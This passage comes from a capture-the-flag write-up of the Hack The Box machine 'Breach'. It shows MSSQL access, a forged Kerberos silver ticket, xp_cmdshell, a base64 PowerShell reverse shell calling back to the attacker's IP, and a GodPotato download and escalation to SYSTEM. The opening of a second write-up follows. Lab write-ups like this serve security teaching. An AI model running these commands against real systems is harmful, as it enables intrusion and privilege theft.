<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py <span class="s1">'breach.vl/svc_mssql:Trustno1@10.129.10.28'</span> <span class="nt">-windows-auth</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (BREACH\svc_mssql  guest@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>Both users I have so far are mapped to the guest account, which has no interesting privileges. I can try to look at how logins map to MSSQL accounts, but it only shows that the sa user is admin, and the Users group is not (which maps to guest):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\svc_mssql  guest@master)&gt; </span><span class="n">enum_logins</span><span class="w">
</span><span class="go">name            type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa              SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
BUILTIN\Users   WINDOWS_GROUP             0          0               0             0            0              0           0           0           0  
</span></code></pre></div></div>

<p>It is not uncommon for guest users to not be able to list all the user login mappings.</p>

<p>The svc_mssql use does have an SPN:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260204211104316.webp" />
    <img loading="lazy" src="/img/image-20260204211104316.png" alt="image-20260204211104316" class="include_image " />
</picture>

<p>If the name didn’t give it away, that’s a very good signal that this account is what the MSSQL service is running as.</p>

<h3 id="silver-ticket">Silver Ticket</h3>

<h4 id="background">Background</h4>

<p>A silver ticket is a forged Kerberos service ticket (TGS) created using the NTLM hash of a service account. Unlike a golden ticket (which forges a TGT using the krbtgt hash), a silver ticket targets a specific service. In this case, because I have the NTLM hash (or the raw password which makes it trivial to calculate the NTLM hash) of the svc_mssql account, I can craft service tickets (TGS) for the MSSQL service. I’ve shown some more complex abusing of silver tickets for MSSQL in <a href="/2026/02/07/htb-signed.html#silver-ticket">Signed</a>.</p>

<h4 id="tgs-as-administrator">TGS as Administrator</h4>

<p>To create a TGS, I’ll need:</p>

<ul>
  <li>The NTLM hash of the service account password.</li>
  <li>The domain SID</li>
</ul>

<p>To get the hash, I’ll calculate it using Python’s <code class="language-plaintext highlighter-rouge">md4</code> hash:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import hashlib; print(hashlib.new("md4", "Trustno1".encode("utf-16le")).hexdigest())'</span>
<span class="go">69596c7aa1e8daee17f8e78870e25a5c
</span></code></pre></div></div>

<p>The domain SID is available in BloodHound:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260205073213814.webp" />
    <img loading="lazy" src="/img/image-20260205073213814.png" alt="image-20260205073213814" class="include_image " />
</picture>

<p>Guessing at what users may map to sysadmin on MSSQL, Administrator seems like a good place to start:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketer.py <span class="nt">-nthash</span> 69596c7aa1e8daee17f8e78870e25a5c <span class="nt">-domain-sid</span> S-1-5-21-2330692793-3312915120-706255856 <span class="nt">-domain</span> breach.vl <span class="nt">-spn</span> MSSQLSvc/breachdc.breach.vl:1433 Administrator                                                
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
</span></code></pre></div></div>

<p>Now I’ll use that ticket to connect to MSSQL:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator.ccache mssqlclient.py <span class="nt">-no-pass</span> <span class="nt">-k</span> BREACHDC.breach.vl            
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>The connection is as the dbo user! <code class="language-plaintext highlighter-rouge">enum_logins</code> shows why:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">enum_logins</span><span class="w">
</span><span class="go">name                                 type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
----------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                   SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
</span><span class="c">##MS_PolicyEventProcessingLogin##    SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
##MS_PolicyTsqlExecutionLogin##      SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
</span><span class="go">BREACH\Administrator                 WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\SQLWriter                 WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\Winmgmt                   WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT Service\MSSQL$SQLEXPRESS          WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
BUILTIN\Users                        WINDOWS_GROUP             0          0               0             0            0              0           0           0           0   
NT AUTHORITY\SYSTEM                  WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
NT SERVICE\SQLTELEMETRY$SQLEXPRESS   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0
</span></code></pre></div></div>

<p>The Administrator user (along with NT SERVICE\SQLWriter, NT SERVICE\Winmgmt, and NT Service\MSSQL$SQLEXPRESS) map to the sysadmin role.</p>

<h3 id="rce-as-svc_mssql">RCE as svc_mssql</h3>

<p><code class="language-plaintext highlighter-rouge">xp_cmdshell</code> is not enabled:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">whoami</span><span class="w">
</span><span class="go">ERROR(BREACHDC\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
</span></code></pre></div></div>

<p>As sysadmin, I can enable it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">enable_xp_cmdshell</span><span class="w">
</span><span class="go">INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
</span><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">whoami</span><span class="w">
</span><span class="go">output             
----------------   
breach\svc_mssql   
NULL
</span></code></pre></div></div>

<p>From here I can grab a PowerShell #3 (Base64) reverse shell from <a href="https://www.revshells.com/">revshells.com</a> and run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="</span><span class="w">
</span></code></pre></div></div>

<p>At my listening <code class="language-plaintext highlighter-rouge">nc</code>, I get a shell:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.10.28 57187

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">breach\svc_mssql
</span></code></pre></div></div>

<p>But I’m going to skip the shell and just escalate from <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>.</p>

<h3 id="potato">Potato</h3>

<p>svc_mssql has <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>, which is standard for service accounts:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span><span class="go">output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
PRIVILEGES INFORMATION                                                             
----------------------                                                             
NULL                                                                               
Privilege Name                Description                               State      
============================= ========================================= ========   
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeMachineAccountPrivilege     Add workstations to domain                Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   
NULL 
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> allows a process to impersonate the security token of another process. Potato attacks abuse this by tricking a SYSTEM-level process into authenticating to a local named pipe, then impersonating that token to run commands as SYSTEM.</p>

<p>I’ll grab a release of <a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> and upload it to Breach:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">powershell</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="nx">iwr</span><span class="w"> </span><span class="nx">http://10.10.14.16/GodPotato-NET4.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">C:\programdata\gp.exe</span><span class="w">
</span><span class="go">output   
------   
NULL 
</span><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">powershell</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="nx">C:\programdata\</span><span class="w">
</span><span class="go">output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
NULL                                                                               
    Directory: C:\programdata                                                      
NULL                                                                               
NULL                                                                               
Mode                 LastWriteTime         Length Name                                                                    
----                 -------------         ------ ----                                                                    
d-----         2/10/2022  12:59 AM                Amazon                                                                  
d-----          2/5/2026   2:28 PM                docker                                                                  
d---s-         2/17/2022  10:26 AM                Microsoft                                                               
d-----         4/17/2025  12:40 AM                Package Cache                                                           
d-----         4/16/2025  11:23 PM                regid.1991-06.com.microsoft                                             
d-----          5/8/2021   8:20 AM                SoftwareDistribution                                                    
d-----          5/8/2021   9:36 AM                ssh                                                                     
d-----         9/15/2021   3:11 AM                USOPrivate                                                              
d-----          5/8/2021   8:20 AM                USOShared                                                               
d-----         4/16/2025  11:28 PM                VMware                                                                  
-a----          2/5/2026   2:35 PM          57344 gp.exe                                                                  
NULL                                                                               
NULL                                                                               
NULL 
</span></code></pre></div></div>

<p>It runs as SYSTEM:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">C:\programdata\gp.exe</span><span class="w"> </span><span class="nt">-cmd</span><span class="w"> </span><span class="nx">whoami</span><span class="w">
</span><span class="go">output                                                                             
--------------------------------------------------------------------------------   
[*] CombaseModule: 0x140726839017472                                               
[*] DispatchTable: 0x140726841608056                                               
[*] UseProtseqFunction: 0x140726840900400                                          
[*] UseProtseqFunctionParamCount: 6                                                
[*] HookRPC                                                                        
[*] Start PipeServer                                                               
[*] CreateNamedPipe \\.\pipe\63b4fa37-0871-4f42-9ded-5ff0ff61fc8d\pipe\epmapper    
[*] Trigger RPCSS                                                                  
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046                            
[*] DCOM obj IPID: 00009002-0bf4-ffff-ced0-67f160442c34                            
[*] DCOM obj OXID: 0x451758f213fc24c7                                              
[*] DCOM obj OID: 0xae15748b63f3dda6                                               
[*] DCOM obj Flags: 0x281                                                          
[*] DCOM obj PublicRefs: 0x0                                                       
[*] Marshal Object bytes len: 100                                                  
[*] UnMarshal Object                                                               
[*] Pipe Connected!                                                                
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE                                      
[*] CurrentsImpersonationLevel: Impersonation                                      
[*] Start Search System Token                                                      
[*] PID : 924 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation   
[*] Find System Token : True                                                       
[*] UnmarshalObject: 0x80070776                                                    
[*] CurrentUser: NT AUTHORITY\SYSTEM                                               
[*] process start with pid 3944                                                    
nt authority\system                                                                
NULL  
</span></code></pre></div></div>

<p>I’ll run a shell via potato:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (BREACH\Administrator  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="nx">C:\programdata\gp.exe</span><span class="w"> </span><span class="nt">-cmd</span><span class="w"> </span><span class="s2">"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="</span><span class="w">
</span></code></pre></div></div>

<p>And get a connection at <code class="language-plaintext highlighter-rouge">nc</code> as system:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.10.28 55493

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">nt authority\system
</span></code></pre></div></div>

<p>And the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\Users\Administrator\Desktop&gt;</span><span class="w"> </span><span class="kr">type</span><span class="w"> </span><span class="n">root.txt</span><span class="w">
</span><span class="go">fc98f418************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-breach" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="hackthebox" /><category term="htb-breach" /><category term="vulnlab" /><category term="nmap" /><category term="smb" /><category term="smbclient" /><category term="netexec" /><category term="netexec-rid-brute" /><category term="netexec-spider-plus" /><category term="netexec-kerberoast" /><category term="ntlm-theft" /><category term="net-ntlmv2" /><category term="responder" /><category term="hashcat" /><category term="kerberoast" /><category term="bloodhound-ce" /><category term="rusthound-ce" /><category term="silver-ticket" /><category term="ticketer" /><category term="impacket" /><category term="mssql" /><category term="mssqlclient" /><category term="xp-cmdshell" /><category term="godpotato" /><category term="seimpersonateprivilege" /><category term="windows" /><category term="domain-controller" /><category term="iis" /><category term="feroxbuster" /><category term="powershell" /><category term="kerberos" /><category term="service-ticket" /><category term="python-uv" /><category term="htb-signed" /><summary type="html"><![CDATA[Breach is a Windows domain controller box. I’ll start by using guest access to a writable SMB share to drop ntlm_theft lure files, capturing a NetNTLMv2 hash for a domain user with Responder. After cracking that hash, I’ll use BloodHound to find a Kerberoastable MSSQL service account and crack its hash as well. Both accounts map to guest on MSSQL, but I’ll forge a silver ticket as Administrator to get sysadmin access, enable xp_cmdshell, and use GodPotato to escalate to SYSTEM.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/breach-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/breach-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Signed</title><link href="https://0xdf.gitlab.io/2026/02/07/htb-signed.html" rel="alternate" type="text/html" title="HTB: Signed" /><published>2026-02-07T14:45:00+00:00</published><updated>2026-02-07T14:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/07/htb-signed</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/07/htb-signed.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/signed-cover.webp" />
    <img loading="lazy" src="/img/signed-cover.png" alt="Signed" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Signed is an assume breach Windows box where I’m given credentials for a local MSSQL account. I’ll enumerate the database, coerce authentication from the MSSQL service account using xp_dirtree, and crack the NetNTLMv2 hash. With the service account password, I’ll forge a silver ticket with the IT group’s RID to gain sysadmin privileges on the database and get command execution. For root, I’ll show three paths: using OPENROWSET BULK impersonation with silver tickets to read files as Domain Admins and find the Administrator’s password in PowerShell history, relaying NTLM authentication from the DC using a crafted DNS record, and recovering SeImpersonatePrivilege from the original logon token to escalate with GodPotato.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/775 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/signed" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-signed.webp" />
          <img src="/icons/box-signed.png" alt="Signed" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/signed" target="_blank" class="htb-box-name">Signed</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1976319283287200242">11 Oct 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">07 Feb 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="/img/signed-diff.webp" />
          <img src="/img/signed-diff.png" alt="Rated difficulty for Signed" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="/img/signed-radar.webp" />
          <img src="/img/signed-radar.png" alt="Radar chart for Signed" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:30:05</span></span><a href="https://app.hackthebox.com/users/661155" target="_blank" rel="noopener"><img alt="jaxafed" src="https://www.hackthebox.com/badge/image/661155" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> jaxafed</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
